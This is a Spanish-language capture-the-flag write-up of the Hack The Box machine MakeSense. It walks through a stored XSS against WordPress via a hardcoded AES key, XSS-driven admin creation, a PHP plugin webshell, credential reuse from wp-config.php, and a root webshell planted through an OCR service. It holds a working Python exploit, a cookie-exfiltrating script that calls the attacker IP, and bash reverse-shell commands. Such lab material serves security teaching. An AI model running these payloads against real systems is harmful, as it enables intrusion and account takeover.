MakeSense WriteUp
Tabla de contenido
MakeSense es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, basada en Linux. Creada por SamLyhin y vldmrrz.
🗺️ Cadena de Ataque
Reconocimiento → 443/HTTPS: WordPress 7.0, tema personalizado "webagency"
│
▼
Análisis del tema JS → clave AES hardcodeada + endpoint save_voice_results sin sanear
│
▼
Stored XSS (transcripción cifrada) → se ejecuta en la sesión del admin (bot)
│
▼
El XSS crea un usuario administrador de WordPress (pwned)
│
▼
Plugin PHP malicioso → RCE como www-data
│
▼
wp-config.php → contraseña de walter en claro → SSH (user.txt)
│
▼
Servicio OCR interno (root) → guardamos un .php en saved/ → RCE como root 🏴
🔍 Reconocimiento
Configuración de /etc/hosts
El certificado SSL del puerto 443 revela el dominio makesense.htb, que añadimos al /etc/hosts:
echo "10.129.35.143 makesense.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Hacemos el reconocimiento en dos fases: primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.
Fase 1, Descubrimiento rápido de puertos TCP:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv makesense.htb
Fase 2, Detección de versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv makesense.htb
Los puertos abiertos:
| Puerto | Servicio | Detalle |
|---|---|---|
22 | SSH | OpenSSH 9.6p1 (Ubuntu) |
443 | HTTPS | Apache 2.4.58, WordPress (sitio “Agency LLC”) |
🎯 Solo hay SSH y un WordPress sobre HTTPS. El vector de entrada apunta al WordPress.
Enumeración Web
whatweb confirma un WordPress con un tema personalizado webagency, jQuery 3.7.1 y el correo info@webagency.com:
whatweb https://makesense.htb
https://makesense.htb [200 OK] Apache[2.4.58], WordPress[7.0], Title[Agency LLC], Email[info@webagency.com], JQuery[3.7.1], MetaGenerator[WordPress 7.0]
Navegando el sitio “Agency LLC” encontramos:
- Una sección “Our Team” con nombres que pueden ser usuarios:
John Smith,Sarah Johnson,Michael Chen,Emily Davis. - Un formulario de contacto “Get In Touch”.
- Una funcionalidad llamativa: un botón “Call WebAgency” que abre un modal de grabación de voz (“Recording your message…”).
El tema personalizado carga scripts propios, entre ellos uno de “whisper”:
/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
/wp-content/themes/webagency/assets/js/main.js
🧠 Interceptando el tráfico con Burp vemos que la grabación de voz usa
@huggingface/transformers@3.0.0(transformers.js) y el modelowhisper-tiny.enen formato ONNX, cargados desde/wp-content/ai-models/. El sitio transcribe la voz a texto en el navegador (Whisper) y luego envía ese texto. Este es el corazón de la máquina: MakeSense convierte audio en texto.
💉 Acceso Inicial, Stored XSS vía transcripción cifrada
Análisis del flujo (main.js + whisper-wrapper.js)
Descargando y leyendo los dos scripts del tema entendemos toda la lógica. El tema define tres acciones AJAX sobre admin-ajax.php:
| Acción | Parámetros | Qué hace |
|---|---|---|
submit_contact_form | name, email, phone, message | Guarda el mensaje y devuelve un post_id |
save_voice_raw | voice_recording (WAV) | Guarda el audio y devuelve un post_id |
save_voice_results | post_id, encrypted_payload | Guarda la transcripción y el resumen |
El flujo de voz es: grabas, Whisper transcribe en el navegador, se resume, se cifra y se envía a save_voice_results. Dos detalles del código lo cambian todo.
1. La clave de cifrado está hardcodeada en el cliente:
// whisper-wrapper.js
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
El encrypted_payload no es más que AES-GCM(SHA256(ENCRYPTION_KEY), JSON.stringify({transcription, summary})) en base64 (IV de 12 bytes + ciphertext + tag). Como tenemos la clave, podemos cifrar nosotros mismos cualquier payload y saltarnos por completo la parte de audio y Whisper.
2. El código está diseñado para inyectar XSS:
// applySymbolMapping() en whisper-wrapper.js
const mappings = {
'open bracket': '<', 'close bracket': '>', 'slash': '/',
'quote': "'", 'double quote': '"', 'parenthesis': '(', ...
};
// además colapsa los espacios alrededor de los símbolos:
// "< script >" -> "<script>"
applySymbolMapping convierte palabras habladas en símbolos (“open bracket script” se vuelve <script>). O sea, la transcripción está pensada para poder contener HTML y JavaScript. Ese texto se almacena y lo revisa un administrador en el panel sin sanear.
🎯 No necesitamos grabar ni hablar. Ciframos directamente
{"transcription": "<payload XSS>", "summary": "..."}con la clave conocida y lo enviamos asave_voice_results. Cuando el administrador revise el mensaje, nuestro JavaScript se ejecuta en su sesión: Stored XSS.
Explotación
wpscan nos da los usuarios reales del WordPress: walter, admin y jake.
Levantamos un listener con goshs y, con la clave conocida, ciframos una transcripción maliciosa y la enviamos a save_voice_results. El post_id lo obtenemos del formulario de contacto:
#!/usr/bin/env python3
# makesense_xss.py
import sys, os, json, base64, re, requests
from hashlib import sha256
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
requests.packages.urllib3.disable_warnings()
TARGET = "https://makesense.htb"
LHOST = sys.argv[1] if len(sys.argv) > 1 else "10.10.15.139"
KEY = sha256(b'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI').digest()
s = requests.Session(); s.verify = False
nonce = re.search(r'"nonce":"([a-f0-9]+)"', s.get(TARGET + "/").text).group(1)
# post_id vía el formulario de contacto
post_id = s.post(TARGET + "/wp-admin/admin-ajax.php", data={
"action": "submit_contact_form", "nonce": nonce, "name": "hp",
"email": "hp@hp.htb", "phone": "123",
"message": "mensaje de prueba suficientemente largo"}).json()["data"]["post_id"]
# transcripción = Stored XSS, cifrada con la clave del cliente
xss = f'<script>fetch("http://{LHOST}/xss?c="+encodeURIComponent(document.cookie)+"&u="+encodeURIComponent(location.href))</script>'
data = json.dumps({"transcription": xss, "summary": "test"}).encode()
iv = os.urandom(12)
enc = base64.b64encode(iv + AESGCM(KEY).encrypt(iv, data, None)).decode()
s.post(TARGET + "/wp-admin/admin-ajax.php", data={
"action": "save_voice_results", "nonce": nonce,
"post_id": post_id, "encrypted_payload": enc})
print("[+] payload enviado, post_id:", post_id)
A los pocos segundos el listener recibe el callback: hay un administrador (bot) que revisa los mensajes y nuestro JavaScript se ejecuta en su sesión.
GET /xss?c=wp-settings-time-3=1783269811&u=https://makesense.htb/wp-admin/edit.php?post_type=contact_submission
🎯 El callback revela dos cosas: el admin es el usuario ID 3 (cookie
wp-settings-time-3) y está revisando el tipo de contenidocontact_submissionenwp-admin. La cookie de sesión eshttponly, así que en lugar de robarla haremos que el XSS actúe con la sesión del administrador.
De XSS a administrador
Cambiamos el payload para que, con la sesión del admin, cree un usuario administrador nuevo. Tomamos el nonce del propio user-new.php y enviamos el createuser:
<script>
fetch("/wp-admin/user-new.php",{credentials:"include"}).then(r=>r.text()).then(t=>{
var n = t.match(/_wpnonce_create-user[^>]*value="([0-9a-f]+)"/)[1];
var b = new URLSearchParams({action:"createuser","_wpnonce_create-user":n,
"_wp_http_referer":"/wp-admin/user-new.php", user_login:"pwned", email:"pwned@hp.htb",
pass1:"Pwned!12345", pass2:"Pwned!12345", pw_weak:"on", role:"administrator"});
fetch("/wp-admin/user-new.php",{method:"POST",credentials:"include",body:b})
.then(x => new Image().src = "http://10.10.15.139/done?s=" + x.status);
});
</script>
Reenviamos el payload cifrado (el mismo script, cambiando solo la variable xss). El listener confirma la creación del usuario:
GET /done?s=200
Ya podemos entrar en https://makesense.htb/wp-login.php como pwned:Pwned!12345. Dentro del panel vemos que es un WordPress 7.0 con la base de datos en SQLite y tipos de contenido propios (Cases, Team Members, Contact Submissions).
🐚 RCE, Reverse Shell vía plugin malicioso
Con acceso de administrador, la vía más directa a ejecución de código es subir un plugin con un webshell PHP.
Creamos el plugin en Kali:
mkdir shell && cat > shell/shell.php <<'EOF'
<?php
/* Plugin Name: shell */
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
EOF
zip -r shell.zip shell
Lo subimos desde el panel en Plugins → Añadir nuevo → Subir plugin (shell.zip). El fichero queda accesible en /wp-content/plugins/shell/shell.php y confirmamos ejecución de comandos:
curl -sk 'https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Confirmada la ejecución, lanzamos una reverse shell contra nuestro listener de penelope:
curl -sk -G 'https://makesense.htb/wp-content/plugins/shell/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.139/8443 0>&1"'
Recibimos la shell como www-data (penelope la estabiliza a PTY automáticamente):
www-data@makesense:/var/www/html/wp-content/plugins/shell$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
🔀 Movimiento Lateral, Credenciales en la base de datos SQLite
En /home hay dos usuarios, admin y walter, pero www-data no puede leer sus directorios:
ls /home
admin walter
Necesitamos credenciales para pivotar. Localizamos el fichero de la base de datos SQLite y, de paso, revisamos el wp-config.php:
find /var/www -iname '*.sqlite*' 2>/dev/null
grep -iE "DB_|table_prefix" /var/www/html/wp-config.php
El wp-config.php es una mina: el usuario de la base de datos es walter con la contraseña en texto claro:
define( 'DB_DIR', __DIR__ . '/wp-content/database/' );
define( 'DB_FILE', '.ht.sqlite' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
Volcamos también los usuarios de WordPress desde la base SQLite:
sqlite3 /var/www/html/wp-content/database/.ht.sqlite "SELECT user_login,user_pass FROM wp_users;"
admin|$wp$2y$10$kAvjqotf...
walter|$wp$2y$10$RsVna8Ko...
jake|$wp$2y$10$SigULBQT...
💡 Los hashes tienen el prefijo
$wp$2y$10$: es el nuevo esquema de contraseñas de WordPress 6.8+/7.0, que envuelvebcrypt. Son inviables de crackear por fuerza bruta, pero da igual: ya tenemos la contraseña dewalteren claro en elwp-config.php.
🎯
walteres también un usuario del sistema (tiene/home/walter) y el SSH está abierto. Las contraseñas se reutilizan, así que probamosJbhHDAEgXvri3!por SSH.
SSH como walter
ssh walter@makesense.htb # JbhHDAEgXvri3!
🚩 User Flag
cat ~/user.txt
🧗♂️ Escalada de Privilegios, Servicio OCR interno como root
walter no tiene sudo ni pertenece a grupos interesantes (id solo muestra su propio grupo). Enumerando procesos con pspy descubrimos un servicio que corre como root y escucha únicamente en localhost:
root /bin/sh -c /root/.scripts/start_ocr4.sh
root /bin/bash /root/.scripts/start_ocr4.sh
root php -S 127.0.0.1:8001 -t /root/ocr4/
Es un servidor PHP embebido, lanzado por un script de root (/root/.scripts/start_ocr4.sh), que sirve la aplicación /root/ocr4/ en 127.0.0.1:8001. El nombre “OCR” (Optical Character Recognition) encaja con la temática: otra pieza que “da sentido” a los datos, esta vez extrayendo texto de imágenes. Como corre como root, cualquier fallo de ejecución de comandos o lectura de ficheros nos da root.
Enumeración del servicio interno
Confirmamos el puerto y accedemos a la aplicación desde la propia máquina:
ss -tlnp | grep 8001
curl -si http://127.0.0.1:8001/
El servicio responde con HTTP Basic auth:
HTTP/1.0 401 Unauthorized
WWW-Authenticate: Basic realm="OCR Protected"
Probamos a reutilizar la contraseña de walter (la que sacamos del wp-config.php) y entra:
curl -si -u 'walter:JbhHDAEgXvri3!' http://127.0.0.1:8001/ | head
HTTP/1.1 200 OK
...
<title>MakeSense</title>
💡 Tercera reutilización de la misma contraseña (
DB → SSH → OCR). Ya estamos dentro de la aplicación OCR, que se ejecuta como root.
La aplicación: OCR de escritura a mano
La app es un lienzo para escribir a mano: dibujas un texto, pulsas “Recognize”, el servidor lo pasa por tesseract y te devuelve el texto reconocido. Además, cada resultado se puede guardar en un fichero. Tras un OCR correcto aparece este formulario:
<input type="hidden" name="ocr_id" value="ocr_6a4a91ab...">
<input type="text" name="filename" placeholder="result.txt" required>
<button name="save_output">Save</button>
El OCR recibe la imagen como PNG en base64 (canvas_image=data:image/png;base64,...). Para probar sin navegador, generamos la imagen en Kali con convert y la enviamos por curl (usamos el mismo tamaño que el canvas, 500x200, o la app la rechaza).
El fallo: guardar un .php que se ejecuta como root
Intentamos abusar del filename con path traversal (../../../tmp/x), pero la app lo sanea con basename y siempre guarda dentro de saved/:
Saved as: saved/pwn.txt
Pero hay dos detalles decisivos:
- El
filenameadmite cualquier extensión, incluida.php. - El directorio
saved/lo sirve el servidor PHP que corre como root, que ejecuta los.php.
🎯 Conclusión: si el contenido guardado (que es el texto que reconoce el OCR) es un webshell PHP y lo guardamos como
saved/x.php, al pedirlo por HTTP se ejecuta como root.
Un webshell “amigable para el OCR”
El único obstáculo es que tesseract no lee bien ciertos caracteres (dígitos, _, comillas…). En vez de pelearnos carácter a carácter, elegimos un payload robusto para OCR: sin dígitos y sin comillas. La función end($_GET) devuelve el valor del último parámetro GET, así que el webshell es:
<?php system(end($_GET));?>
Lo renderizamos como una imagen limpia en fuente monospace desde Kali:
convert -size 500x200 xc:white -font DejaVu-Sans-Mono-Bold -pointsize 28 -fill black -gravity West -annotate +10+0 '<?php system(end($_GET));?>' /tmp/p.png
base64 -w0 /tmp/p.png
Lo enviamos al OCR y verificamos que el texto reconocido es PHP válido antes de guardar (un espacio de más entre paréntesis da igual, PHP lo ignora):
C=/tmp/cj
PW='<base64 de la imagen>'
curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' --data-urlencode "canvas_image=data:image/png;base64,$PW" http://127.0.0.1:8001/index.php | grep -A1 output-text
<p class="output-text"><?php system(end($_GET) );?>
💡 Truco clave: la app nos muestra el texto reconocido antes de guardar, así que iteramos el render hasta que el OCR devuelva PHP válido.
end($_GET)(letras y símbolos que tesseract lee bien) evita los dígitos y comillas que fallaban.
Guardamos ese resultado como r.php usando su ocr_id y confirmamos ejecución de comandos como root:
R=$(curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' --data-urlencode "canvas_image=data:image/png;base64,$PW" http://127.0.0.1:8001/index.php)
OID=$(echo "$R" | grep -oE 'ocr_[a-f0-9.]+' | head -1)
curl -s -c $C -b $C -u 'walter:JbhHDAEgXvri3!' -d "ocr_id=$OID" --data-urlencode 'filename=r.php' -d 'save_output=Save' http://127.0.0.1:8001/index.php | grep -i 'saved as'
curl -s -u 'walter:JbhHDAEgXvri3!' 'http://127.0.0.1:8001/saved/r.php?x=id'
uid=0(root) gid=0(root) groups=0(root)
Reverse shell como root
Con penelope -p 8443 a la escucha, disparamos la reverse shell. El comando viaja como último parámetro GET, que es justo lo que ejecuta end($_GET):
curl -s -u 'walter:JbhHDAEgXvri3!' -G 'http://127.0.0.1:8001/saved/r.php' --data-urlencode 'x=bash -c "bash -i >& /dev/tcp/10.10.15.139/8443 0>&1"'
🏴 Root Flag
cat /root/root.txt
📝 Resumen de la Cadena
| # | Fase | Técnica | Resultado |
|---|---|---|---|
| 1 | Reconocimiento | nmap, whatweb | 22 (SSH) y 443 (WordPress 7.0, tema webagency) |
| 2 | Análisis del tema | Lectura de main.js / whisper-wrapper.js | Clave AES hardcodeada + save_voice_results sin sanear |
| 3 | Acceso inicial | Stored XSS vía transcripción cifrada | JavaScript ejecutado en la sesión del admin (bot) |
| 4 | Escalada en WordPress | XSS → createuser | Usuario administrador pwned |
| 5 | RCE | Plugin PHP malicioso | Shell como www-data |
| 6 | Movimiento lateral | wp-config.php (pass en claro) + SSH | Usuario walter + User Flag 🚩 |
| 7 | Escalada a root | OCR interno (root) → .php en saved/ | RCE como root + Root Flag 🏴 |
Un saludo, nos vemos en el próximo challenge.


